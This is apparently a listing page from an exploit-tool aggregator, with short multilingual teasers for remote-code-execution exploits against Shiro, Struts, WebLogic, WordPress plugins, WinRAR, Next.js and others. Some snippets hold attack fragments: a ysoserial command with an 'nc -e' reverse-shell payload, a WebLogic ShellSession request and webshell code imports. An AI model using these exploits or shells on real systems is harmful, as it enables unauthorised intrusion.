Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

ThinkCMF_getshell

Vulnerabilidad de inclusión de contenido arbitrario en el framework ThinkCMFgetshell Los atacantes remotos pueden ejecutar código arbitrario en el servidor remoto mediante la construcción de paquetes de solicitud específicos, sin necesidad de ningún privilegio. Uso de python: + python...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 简介： cookie的cookiememeMe已通过AES-128-CBC模式加密，这很容易受到填充oracle攻击的影响。 攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀，然后制作精心制作的RememberMe来执行Java反序列化攻击，例如SHIRO-550。 0x01 重现此问题的步骤： 1. 登录网站，并从cookie中获取RememberMe。 2. 使用RememberMe...

SHIRO-550

Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2024-25600-Bricks-Builder-plugin-for-WordPress

CVE-2024-25600 利用工具 🚀 描述 📝 此工具 🛠️ 旨在利用 WordPress 的 Bricks Builder 插件中发现的 CVE-2024-25600 漏洞 🕳️。该漏洞允许在受影响的网站 💻 上进行未经身份验证的远程代码执行。该工具通过检索 nonce 并发送特制请求来执行任意命令，从而自动化利用过程。 特性 🌟 交互模式 ：实时与目标网站交互 🕹️。 批量模式 ：从列表中扫描并利用多个网站 📋。 命令执行 ：在目标服务器上执行任意命令 ⚙️。 安装 🛠️ 1. 使用 git clone 将此仓库克隆到您的本地机器 🖥️。 2. 进入克隆仓库的目录。 3. 使用...

st2-048

St2-048 远程代码执行漏洞 Apache Struts 2 的 Struts 2.3.x 系列中，Struts 1 插件示例（Struts Showcase 应用）可能存在 RCE http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 用法： root@kitploit: python St2-048.py set url : http://xx.xx.xx.xx:port/integration/saveGangster.action cmd ...

CVE-2025-6218

CVE-2025-6218 | ZDI-CAN-27198 | ZDI-25-409 - WinRAR Path Traversal - Ejecución Remota de Código RCE Prueba de Concepto Más información: https://www.win-rar.com/singlenewsview.html?&L=0 https://www.cvedetails.com/cve/CVE-2025-6218/ https://www.zerodayinitiative.com/advisories/ZDI-25-409/...

WSO2-2021-1259

WSO2-2021-1259: H2 RCE via Malicious JDBC Connection String in WSO2 ESB Due to the improper input validation, a remote code execution attack could be carried out using malicious H2 JDBC Connection Strings. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here...

Grav-CMS-RCE-Authenticated

Grav CMS Remote Code Execution Autenticado - CVE-2024-28116 Información Este código es una adaptación delrepositorio de GitHub Graver con algunas mejoras basadas en este video. Exploit contra Grav CMS para versiones anteriores a 1.7.45 basado en vulnerabilidades SSTI + RCE, etiquetado como...

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

漏洞利用标题：未认证远程代码执行（RCE）- 家禽养殖管理系统 v1.0 日期：24-06-2024 CVE：CVE-2024-40110 EDB-ID：52053 漏洞利用作者：Jerry Thomas w3bn00b3r 厂商主页：https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html 软件链接：...

CVE-2021-44909

CVE-2021-44909 Título del Exploit: orangescrum 1.8.0 - Ejecución Remota de Comandos RCE no autenticado Fecha: 03/12/2021 Página del proveedor: https://www.orangescrum.org/ Enlace del software: https://github.com/Orangescrum/orangescrum Versión: 1.8.0 Probado en: Windows 10 x64 usando XAMPP 7.4.23...

CVE-2015-1635-POC

CVE-2015-1635-POC MS15-034 Script de detección de ejecución remota de código HTTP.sys MS15-034 script POC de ejecución remota de código HTTP.sys Coloca la IP a detectar en la línea 7 del código y luego ejecuta: python CVE-2015-1635-POC.py Coloca la IP detectada en la séptima línea del código y...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Demo con Docker Demo en Mac Descripción de NVD CVE-2020-13957 NVD CVE-2020-13957 root@kitploit: Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be...

RCE-RealEstateVIDEOPOC

此存储库没有 README。...

MAL-005

MAL-005: WSO2 ESB 的“添加 Carbon 应用程序”功能中的 Zip Slip 漏洞 在 WSO2 ESB 的“Carbon 应用程序”添加功能中发现了基于 ZIP 文件的目录遍历（Zip Slip）漏洞。通过写入/覆盖特定文件，可能实现远程代码执行。 为什么没有 CVE？ 供应商回复称此漏洞“已在 WUM 中修复”，且未进行公开披露。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...

MAL-003

MAL-003：Apache OfBiz 中的 Groovy 安全绕过与存储型 XSS 已在 Apache OfBiz = 18.12.05 中发现 Groovy RCE 和 XSS 漏洞。 为什么没有 CVE？ Apache OfBiz 不会为其安全页面中提到的“使用演示凭据（尤其是 admin 用户）进行的认证后攻击”创建 CVE。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 漏洞利用工具 一份概念验证工具，用于演示严重的 React2Shell 漏洞（CVE-2025-55182 / CVE-2025-66478），仅限授权、本地测试环境 。 ⚠️ 重要警告：正在被积极利用 仅限合法使用 ：仅针对您拥有或已获得明确书面授权测试的系统使用。 需要立即修补 ：如果存在漏洞，必须立即更新。修补是唯一确定的缓解措施。 不提供担保 ：本工具仅用于教育和授权安全评估目的。 📄 漏洞概述 CVE-2025-55182 React2Shell 是 React 服务器组件 RSC "Flight"...

CVE-2026-19224

CVE-2026-19224 affects the Hummingbird Performance WordPress plugin in versions prior to 3.21.2 . The vulnerability resides in the Hub Connector component, which fails to restrict a network-wide setting to network administrators , allowing any site administrator on a WordPress multisite network t...

CVE-2026-19224 Hummingbird < 3.21.2 - Admin+ Network-Wide RCE via Hub Connector on Multisite

The Hummingbird Performance WordPress plugin before 3.21.2 does not restrict a network-wide setting to network administrators, allowing an administrator of any single site on a multisite network to execute arbitrary code across the entire network...